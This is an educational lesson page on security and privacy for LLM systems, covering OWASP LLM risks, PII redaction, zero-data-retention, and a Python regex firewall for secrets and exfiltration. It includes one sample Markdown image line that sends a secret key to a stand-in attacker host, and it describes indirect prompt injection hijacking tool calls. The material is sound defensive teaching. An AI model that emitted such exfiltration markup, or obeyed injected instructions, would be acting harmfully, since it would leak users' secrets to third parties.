FullStack AI Hub
Studio
lesson depth
Mastery
not started · 0%

Security and Privacy for LLM Systems

How untrusted inputs sensitive data tools and external knowledge expand the threat model.

Freshness: current•15 min read•Security, Safety, and Governance

Key Learning Outcomes

  • ✓Threat model an LLM workflow
  • ✓Isolate untrusted data
  • ✓Apply least privilege and minimization
Full Technical Reference Document

Mental model

A large language model is an untrusted, probabilistic compute layer that mixes governing instructions and raw data inside a single shared token window. Production security and privacy therefore cannot rely on prompting the model to behave safely; they require NIST Zero Trust per-request authorization, pre-embedding PII redaction, pinned artifact supply chains, zero-data-retention (ZDR) inference contracts, and deterministic egress firewalls.

Zero-Trust Auth & Tenant Scope
Pre-Embedding PII Redaction
Isolated Prompt & ZDR Inference
Output & Tool Policy Gate
Egress Secret Firewall & Audit
Conceptual teaching model synthesized from:OWASP Top 10 for LLM ApplicationsData Controls in the OpenAI PlatformArtificial Intelligence Risk Management FrameworkZero Trust Architecture

Learning outcomes

  • Map critical OWASP Top 10 for LLM Applications risks (prompt injection, sensitive disclosure, excessive agency, supply-chain compromise) to deterministic system controls.
  • Explain why PII and credential redaction must occur before chunking, vector embedding, prompt assembly, and trace logging.
  • Configure zero-data-retention (ZDR) inference endpoints, VPC private links, and tenant-scoped encryption keys to prevent cross-tenant leakage and unintended training retention.
  • Build a Python egress PII and secret firewall that blocks leaked API keys, SSNs, or cross-tenant identifiers before responses or tool arguments leave the trust boundary.

Theory

Traditional web security separates executable code from user data via parameterized SQL queries, DOM sanitization, and OS process isolation. In an LLM pipeline, user text, retrieved documents, and system directives all become token embeddings inside the same transformer context. Under the NIST AI Risk Management Framework (AI RMF) and NIST SP 800-207 Zero Trust Architecture, every inference call, vector lookup, and tool invocation must assume breach at the model layer and verify identity, data classification, and authorization at deterministic enforcement points.

OWASP LLM Top 10 Operational Boundaries

Four high-severity OWASP LLM threat classes dominate production architectures:

  1. LLM01 Prompt Injection & LLM06 Excessive Agency: Untrusted text retrieved via RAG or web search attempts to hijack tool calls. Mitigation pairs structural role isolation with strict least-privilege tool scopes and out-of-band human confirmation for mutating operations.
  2. LLM02 Sensitive Information Disclosure: Models leak secrets memorized during fine-tuning, cached across shared prompts, or retrieved from unsegregated vector namespaces. Mitigation strips PII before ingestion, disables training retention, and partitions retrieval indexes by verified tenant ACLs.
  3. LLM03 Supply Chain Vulnerabilities: Downloading unverified open-weight checkpoints serialized in Python pickle format (.pt or .bin) can execute arbitrary OS shell payloads during torch.load(). Production clusters pin SHA-256 weight digests and mandate memory-safe safetensors serialization.
  4. LLM05 Improper Output Handling: Rendering unescaped model-generated Markdown, HTML, or SQL directly in browsers or databases causes Cross-Site Scripting (XSS) and SQL injection—requiring strict HTML escaping and parameterized queries downstream.

Quantitative Exposure & Pre-Ingestion Redaction

Why must PII scrubbing happen before vector embedding and prompt assembly rather than only on final output? Once an email, SSN, or AWS secret key enters a vector store or OpenTelemetry trace, it persists in disk snapshots, dense embedding vectors (which remain partially invertible), and log aggregators even if a final output regex catches it later.

Consider an enterprise support platform indexing 500,000 customer tickets averaging 300 tokens each (150 million tokens), where 1.2% of tickets contain unmasked payment tokens or government IDs (6,000 sensitive records). If retrieval queries hit an average top-k=8k = 8 chunks per turn across Q=50000Q = 50000 monthly queries with probability p=0.012p = 0.012 per chunk, naive unredacted indexing exposes sensitive records to prompt context windows up to:

E[exposures]=Q⋅(1−(1−p)k)=50000⋅(1−(1−0.012)8)≈4602 queries/monthE[\text{exposures}] = Q \cdot \left(1 - (1 - p)^k\right) = 50000 \cdot \left(1 - (1 - 0.012)^8\right) \approx 4602\text{ queries/month}

Even if an output filter catches 95% of leaked strings before reaching the UI, 5% of 4,602 (~230 monthly responses)—plus all 4,602 upstream API requests and debug traces—still handle raw sensitive secrets. Running deterministic NER and regex PII pseudonymization prior to vector embedding and enforcing tenant metadata filters collapses upstream secret exposure toward zero.

Tenant Encryption and Zero Data Retention (ZDR)

Provider data controls distinguish standard API retention (where prompts/outputs may be stored 30 days for abuse monitoring or optional evaluation) from Zero Data Retention (ZDR) agreements and VPC-private endpoints (Azure Private Link, AWS PrivateLink, or self-hosted vLLM). High-assurance workloads pair ZDR contracts with per-tenant envelope encryption keys (KMS CMKs) so tenant A's stored history and vector payloads remain cryptographically unreadable to tenant B even on shared storage.

Trade-offs

Defense-in-depth layers trade false-positive blocking, latency overhead, and operational complexity against breach blast radius.

Security ControlProtected Threat ClassLatency / UX OverheadResidual Risk / Operational Trade-off
Pre-Embedding PII Pseudonymization (<PERSON_1>)Sensitive disclosure (LLM02), trace leakage+5–20 ms on ingestion & queryOver-aggressive regexes can mask benign product codes (ID-123)
Mandatory safetensors + SHA-256 Weight PinningSupply-chain RCE (LLM03)Zero inference overhead; CI/CD digest checksRequires mirroring and re-verifying Hugging Face weight releases
ZDR + VPC Private Inference RoutingThird-party data retention & transit snoopingMinimal after PrivateLink setup; higher fixed costDisables provider-managed web playground debugging & stateful storage
Deterministic Egress Secret FirewallCredential exfiltration via Markdown images/URLs< 1ms streaming buffer checkCan clip legitimate masked examples unless allowlisted by context

Failure modes and misconceptions

  • Scrubbing PII only in the final HTTP response: Logging unredacted user prompts to observability pipelines, caching raw prompts in Redis, or indexing raw PII into pgvector already violates data-minimization policies before the model responds.
  • Exfiltrating secrets via rendered Markdown image tags: Even if an application strips <script> tags, an indirect prompt injection can coerce the model into emitting ![pixel](https://attacker.tld/leak?k=SECRET_KEY), causing the user's browser to transmit secrets via an automatic HTTP GET fetch. Enforce strict Content Security Policy (img-src 'self') and strip external image URLs in Markdown renderers.
  • Loading unverified pickle .bin checkpoints with weights_only=False: Arbitrary pickle opcodes execute immediately during deserialization on GPU hosts, compromising cluster credentials.
  • Global shared vector namespaces without verified ACL filters: Relying on the model prompt "Only cite docs belonging to user Bob" fails trivially under adversarial queries; always inject WHERE tenant_id = :verified_jwt_tenant at the database query boundary.
  • Misinterpreting ZDR as local storage hygiene: Provider ZDR stops retention on the inference vendor's servers, yet your own reverse proxies, Kubernetes stdout logs, and evaluation buckets still retain raw payloads unless explicitly scrubbed.

Decision scenario

A healthcare fintech builds an internal claims-triage copilot querying claims documents and calling a settlement status API. Compliance flags three gaps: raw SSNs and bank routing numbers enter pgvector embeddings, debug logs capture unredacted prompts, and Markdown links in model answers can trigger external fetches. Remediate the pipeline by deploying a deterministic pre-ingestion PII scrubber (SSN, IBAN, bearer tokens) before chunking or embedding, routing inference over a ZDR-enabled VPC endpoint, enforcing JWT-derived tenant_id filters in Postgres SQL rather than prompts, disabling remote Markdown image rendering via CSP, and gating every outbound model reply and tool call through an egress secret firewall.

Implementation example

This Python egress and pre-ingestion PII/secret firewall detects and redacts high-risk tokens (SSNs, AWS keys, JWTs, private keys, and unapproved Markdown exfiltration URLs) deterministically before storage or delivery.

python
import re
from dataclasses import dataclass
​
SECRET_PATTERNS: dict[str, re.Pattern[str]] = {
"AWS_KEY": re.compile(r"\bAKIA[0-9A-Z]{16}\b"),
"BEARER_JWT": re.compile(r"\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b"),
"SSN": re.compile(r"\b\d{3}-\d{2}-\d{4}\b"),
"PRIVATE_KEY": re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----"),
}
MD_EXFIL_RE = re.compile(r"!\[[^\]]*\]\((https?://[^)\s]+)\)", re.I)
​
@dataclass(frozen=True)
class FirewallVerdict:
sanitized_text: str; findings: list[str]; blocked_exfil: bool
​
def inspect_and_redact(text: str, allowed_hosts: set[str] | None = None) -> FirewallVerdict:
findings, redacted, allowed = [], text, allowed_hosts or set()
for label, pattern in SECRET_PATTERNS.items():
if matches := pattern.findall(redacted):
findings.append(f"{label}:{len(matches)}")
redacted = pattern.sub(f"[REDACTED_{label}]", redacted)
blocked = False
def _strip_img(match: re.Match[str]) -> str:
nonlocal blocked
host = match.group(1).split("/")[2].lower() if len(match.group(1).split("/")) > 2 else ""
if host not in allowed:
blocked = True; findings.append(f"BLOCKED_IMG:{host}"); return "[BLOCKED_EXTERNAL_IMAGE]"
return match.group(0)
return FirewallVerdict(MD_EXFIL_RE.sub(_strip_img, redacted), findings, blocked)

Knowledge check

Reflect before revealing the guide

Why must PII redaction and Zero-Trust tenant filtering execute prior to vector embedding and log emission rather than relying solely on output filters or ZDR contracts?

Prerequisites & Related Concepts (6)

Private notes

0 words
Included In Free Course
Free · Verifiable Credential

FS-102LLM Systems Foundations

Build a connected mental model from tokens through retrieval evaluation security and operations.

24 concepts~18h self-paced
Start Free Course
Weekly Engineering Dispatch

Get the weekly systems teardown

One technical note per week covering inference bottlenecks, retrieval harnesses, and commit-pinned teardowns.

Next